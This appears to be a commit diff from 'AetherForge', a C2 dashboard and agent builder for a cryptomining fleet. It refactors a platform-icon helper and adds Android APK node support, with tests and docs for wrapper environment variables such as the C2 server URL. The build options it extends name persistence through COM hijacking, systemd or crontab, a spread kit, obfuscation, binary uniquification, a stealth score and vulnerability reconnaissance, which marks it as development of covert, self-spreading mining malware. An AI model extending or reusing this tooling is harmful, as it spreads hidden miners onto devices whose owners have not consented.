import { parseAccessDepthDiagnostics, type AccessDepthDiagnostics } from '../help/accessDepth';
|
import { parseAccessDepthDiagnostics, type AccessDepthDiagnostics } from '../help/accessDepth';
|
||||||
|
import { platformIcon } from '../help/platform';
|
||||||
import AlsoHere from '../components/Presence/AlsoHere';
|
import AlsoHere from '../components/Presence/AlsoHere';
|
||||||
import { HelpTip } from '../components/HelpTip';
|
import { HelpTip } from '../components/HelpTip';
|
||||||
import '../components/Fleet/FullSysCheckPanel.css';
|
import '../components/Fleet/FullSysCheckPanel.css';
|
||||||
@@ -303,15 +304,6 @@ function importantServices(svcs: AgentService[]): AgentService[] {
|
|||||||
return svcs.filter(s => IMPORTANT_SVCS.has(s.name.toLowerCase()) || s.status === 'running');
|
return svcs.filter(s => IMPORTANT_SVCS.has(s.name.toLowerCase()) || s.status === 'running');
|
||||||
}
|
}
|
||||||
|
|
||||||
function platformIcon(platform?: string): string {
|
|
||||||
if (!platform) return '⬡';
|
|
||||||
const p = platform.toLowerCase();
|
|
||||||
if (p.includes('win')) return '⊞';
|
|
||||||
if (p.includes('linux')) return '🐧';
|
|
||||||
if (p.includes('darwin')) return '';
|
|
||||||
return '⬡';
|
|
||||||
}
|
|
||||||
|
|
||||||
let _lineId = 0;
|
let _lineId = 0;
|
||||||
function mkId() { return `tl-${++_lineId}`; }
|
function mkId() { return `tl-${++_lineId}`; }
|
||||||
|
|
||||||
|
|||||||
@@ -6,6 +6,7 @@ import {
|
|||||||
buildLotlTimelineModel,
|
buildLotlTimelineModel,
|
||||||
resolveLotlTierOrder,
|
resolveLotlTierOrder,
|
||||||
} from '../help/lotlTimeline';
|
} from '../help/lotlTimeline';
|
||||||
|
import { isAndroidPlatform } from '../help/platform';
|
||||||
import { clearanceTimelineSummary, type ClearanceEventRecord } from '../help/clearance';
|
import { clearanceTimelineSummary, type ClearanceEventRecord } from '../help/clearance';
|
||||||
import { parseAccessDepthServerPolicy } from '../help/accessDepth';
|
import { parseAccessDepthServerPolicy } from '../help/accessDepth';
|
||||||
import type { AIDecisionRecord } from '../types';
|
import type { AIDecisionRecord } from '../types';
|
||||||
@@ -117,9 +118,12 @@ export default function LotlTimelinePage() {
|
|||||||
|
|
||||||
const timelineModel = useMemo(() => {
|
const timelineModel = useMemo(() => {
|
||||||
if (!selectedAgent) return null;
|
if (!selectedAgent) return null;
|
||||||
|
const order = isAndroidPlatform(selectedAgent.platform)
|
||||||
|
? resolveLotlTierOrder(undefined, selectedAgent)
|
||||||
|
: tierOrder;
|
||||||
return buildLotlTimelineModel(
|
return buildLotlTimelineModel(
|
||||||
selectedAgent,
|
selectedAgent,
|
||||||
tierOrder,
|
order,
|
||||||
selectedAgent.lotl_attempts ?? [],
|
selectedAgent.lotl_attempts ?? [],
|
||||||
[],
|
[],
|
||||||
selectedAgent.atlas_skips ?? [],
|
selectedAgent.atlas_skips ?? [],
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ import { useState, useEffect, useMemo } from 'react';
|
|||||||
import { useWebSocket } from '../hooks/useWebSocket';
|
import { useWebSocket } from '../hooks/useWebSocket';
|
||||||
import { api } from '../api/client';
|
import { api } from '../api/client';
|
||||||
import { formatHashrate } from '../help/fleetFilters';
|
import { formatHashrate } from '../help/fleetFilters';
|
||||||
|
import { platformIcon } from '../help/platform';
|
||||||
import './ROIPage.css';
|
import './ROIPage.css';
|
||||||
|
|
||||||
// ── helpers ───────────────────────────────────────────────────────────────
|
// ── helpers ───────────────────────────────────────────────────────────────
|
||||||
@@ -15,14 +16,6 @@ function fmtUSD(n: number): string {
|
|||||||
return `$${n.toFixed(2)}`;
|
return `$${n.toFixed(2)}`;
|
||||||
}
|
}
|
||||||
|
|
||||||
function platformIcon(platform?: string): string {
|
|
||||||
const p = (platform ?? '').toLowerCase();
|
|
||||||
if (p.includes('win')) return '⊞';
|
|
||||||
if (p.includes('linux')) return '🐧';
|
|
||||||
if (p.includes('darwin')) return '';
|
|
||||||
return '⬡';
|
|
||||||
}
|
|
||||||
|
|
||||||
function effBadge(pct: number): { label: string; cls: string } {
|
function effBadge(pct: number): { label: string; cls: string } {
|
||||||
if (pct >= 75) return { label: 'TOP', cls: 'top' };
|
if (pct >= 75) return { label: 'TOP', cls: 'top' };
|
||||||
if (pct >= 40) return { label: 'MID', cls: 'mid' };
|
if (pct >= 40) return { label: 'MID', cls: 'mid' };
|
||||||
|
|||||||
@@ -560,8 +560,12 @@ export interface BuildRequest {
|
|||||||
com_hijack_persist?: boolean;
|
com_hijack_persist?: boolean;
|
||||||
/** Linux LOTL persistence: systemd_run_user | crontab | both | off */
|
/** Linux LOTL persistence: systemd_run_user | crontab | both | off */
|
||||||
linux_lotl_mode?: 'systemd_run_user' | 'crontab' | 'both' | 'off';
|
linux_lotl_mode?: 'systemd_run_user' | 'crontab' | 'both' | 'off';
|
||||||
target_os?: 'windows' | 'linux' | 'darwin' | 'universal';
|
target_os?: 'windows' | 'linux' | 'darwin' | 'universal' | 'android';
|
||||||
target_arch?: string;
|
target_arch?: string;
|
||||||
|
/** Android fleet-node APK (mining off by default). */
|
||||||
|
apk_mode?: boolean;
|
||||||
|
apk_agent_name?: string;
|
||||||
|
mining_disabled?: boolean;
|
||||||
spread_kit?: boolean;
|
spread_kit?: boolean;
|
||||||
obfuscate?: boolean;
|
obfuscate?: boolean;
|
||||||
/** Post-forge PE overlay + timestamp uniquification (Sigil Scramble). */
|
/** Post-forge PE overlay + timestamp uniquification (Sigil Scramble). */
|
||||||
@@ -647,6 +651,7 @@ export interface BuildResponse {
|
|||||||
sigil_scramble?: boolean;
|
sigil_scramble?: boolean;
|
||||||
binary_fingerprint?: string;
|
binary_fingerprint?: string;
|
||||||
stealth_score?: number;
|
stealth_score?: number;
|
||||||
|
artifact_path?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface PathTraceHop {
|
export interface PathTraceHop {
|
||||||
|
|||||||
@@ -42,6 +42,9 @@ const TIER_LABELS: Record<string, string> = {
|
|||||||
stratum: 'Stratum',
|
stratum: 'Stratum',
|
||||||
vuln_recon: 'Vuln Recon',
|
vuln_recon: 'Vuln Recon',
|
||||||
vuln_probe: 'Vuln Recon',
|
vuln_probe: 'Vuln Recon',
|
||||||
|
foreground_service: 'Foreground Service',
|
||||||
|
cpu_inprocess: 'In-Process CPU',
|
||||||
|
desktop_tiers_skipped: 'Desktop tiers skipped',
|
||||||
};
|
};
|
||||||
|
|
||||||
export function formatLotlTierLabel(tier: string): string {
|
export function formatLotlTierLabel(tier: string): string {
|
||||||
|
|||||||
@@ -388,7 +388,7 @@ set AETHERFORGE_URL=http://127.0.0.1:8989
|
|||||||
cd server\web && npx playwright test e2e/crucible-command.spec.ts e2e/crucible-lotl.spec.ts
|
cd server\web && npx playwright test e2e/crucible-command.spec.ts e2e/crucible-lotl.spec.ts
|
||||||
```
|
```
|
||||||
|
|
||||||
`e2e/fixtures.ts` exports `waitForServerHealth()` — polls `/api/v1/health` for up to 30s (used by live-server specs to avoid flakes on cold start). Phase 8 sets `AETHERFORGE_FLEET_SECRET` from `data/config.json` so stub agents authenticate without scraping `/api/v1/config`.
|
`e2e/fixtures.ts` exports `waitForServerHealth()` — polls `/api/v1/health` for up to 30s (used by live-server specs to avoid flakes on cold start). Phase 8 sets `AETHERFORGE_FLEET_SECRET` from `data/config.json` (regex parse — avoids PowerShell duplicate-key JSON issues) and `AETHERFORGE_E2E=1` on the server so online stub agents get L3 shell clearance for exec/whoami round-trips.
|
||||||
|
|
||||||
`e2e/remote-actions.spec.ts` mocks the dashboard WebSocket `init` payload (Crucible prefers live WS fleet data over REST). Playwright HTTP `page.route` alone cannot intercept WebSockets in this toolchain version. Asserts mining Pause/Resume in `.cop-mining` and bulk Pause in `.fleet-bulk-bar` when only an offline agent is selected.
|
`e2e/remote-actions.spec.ts` mocks the dashboard WebSocket `init` payload (Crucible prefers live WS fleet data over REST). Playwright HTTP `page.route` alone cannot intercept WebSockets in this toolchain version. Asserts mining Pause/Resume in `.cop-mining` and bulk Pause in `.fleet-bulk-bar` when only an offline agent is selected.
|
||||||
|
|
||||||
@@ -506,6 +506,34 @@ cd server\web && npx playwright test e2e/remote-actions.spec.ts
|
|||||||
| Forge LOTL Onion preset UI | `applyOperationMode('lotl_onion')` flags | `server/web/src/help/forgeOperationModes.test.ts` | 4 |
|
| Forge LOTL Onion preset UI | `applyOperationMode('lotl_onion')` flags | `server/web/src/help/forgeOperationModes.test.ts` | 4 |
|
||||||
| LOTL onion tier docs | 14-tier spread chain constants (sync with `DefaultLotlOnionTiers`) | `server/web/src/help/lotlOnionTiers.test.ts`, `agent/deploy/lotl_tiers_test.go`, `server/internal/builder/lotl_onion_test.go` | 2 / 4 |
|
| LOTL onion tier docs | 14-tier spread chain constants (sync with `DefaultLotlOnionTiers`) | `server/web/src/help/lotlOnionTiers.test.ts`, `agent/deploy/lotl_tiers_test.go`, `server/internal/builder/lotl_onion_test.go` | 2 / 4 |
|
||||||
| Fleet health bulk pause/resume | Bulk command framing + toolbar wiring | `server/internal/api/fleet_handler_test.go`, `components.test.tsx` | 1 / 4 |
|
| Fleet health bulk pause/resume | Bulk command framing + toolbar wiring | `server/internal/api/fleet_handler_test.go`, `components.test.tsx` | 1 / 4 |
|
||||||
|
| `TestRegistrationPlatformFromEnv` / `TestAuthPayloadPlatformFromEnv` | APK wrapper `AETHERFORGE_PLATFORM=android` → auth `platform` | `agent/config/platform_test.go`, `agent/client/protocol_test.go` | 2 |
|
||||||
|
| `TestSelectMiningTierChainAndroid` | Shortened foreground → in-process tier chain | `agent/miner/lotl_tier_test.go` | 2 |
|
||||||
|
| `buildAccessDepthModel android` / `buildLotlTimelineModel android` | Android probes + 3-step onion timeline | `server/web/src/help/accessDepth.test.ts`, `lotlTimeline.test.ts`, `platform.test.ts` | 4 |
|
||||||
|
|
||||||
|
### APK fleet node mode
|
||||||
|
|
||||||
|
Android workers are embedded Go binaries launched by the APK Java wrapper. Before spawn the wrapper sets:
|
||||||
|
|
||||||
|
- `AETHERFORGE_SERVER_URL` — C2 base URL
|
||||||
|
- `AETHERFORGE_WORKER_NUMBER` — fleet worker slot (shown in AI snapshots)
|
||||||
|
- `AETHERFORGE_PLATFORM=android` — registration label (overrides `runtime.GOOS=linux`)
|
||||||
|
|
||||||
|
Optional probe env vars for Access Depth (`environment_probes`):
|
||||||
|
|
||||||
|
- `AETHERFORGE_WIFI_CONNECTED=1`
|
||||||
|
- `AETHERFORGE_BATTERY_OK=1`
|
||||||
|
- `AETHERFORGE_FOREGROUND_SERVICE=1`
|
||||||
|
|
||||||
|
Forge may also bake `ApkMode` (`-ldflags` / builder preset) so registration reports `platform=android` without runtime env.
|
||||||
|
|
||||||
|
Quick run:
|
||||||
|
|
||||||
|
```bat
|
||||||
|
cd agent && go test ./config/... ./client/... ./miner/... -run "RegistrationPlatform|AuthPayloadPlatform|SelectMiningTierChainAndroid" -count=1
|
||||||
|
cd server\web && npm test -- --run src/help/platform.test.ts src/help/accessDepth.test.ts src/help/lotlTimeline.test.ts
|
||||||
|
```
|
||||||
|
|
||||||
|
Crucible shows 🤖 for Android roster rows; Access Depth uses Wi-Fi / battery / foreground-service probe chips and a 2-tier mining onion (desktop tiers listed as skipped).
|
||||||
|
|
||||||
Run LOTL Go tests quickly:
|
Run LOTL Go tests quickly:
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user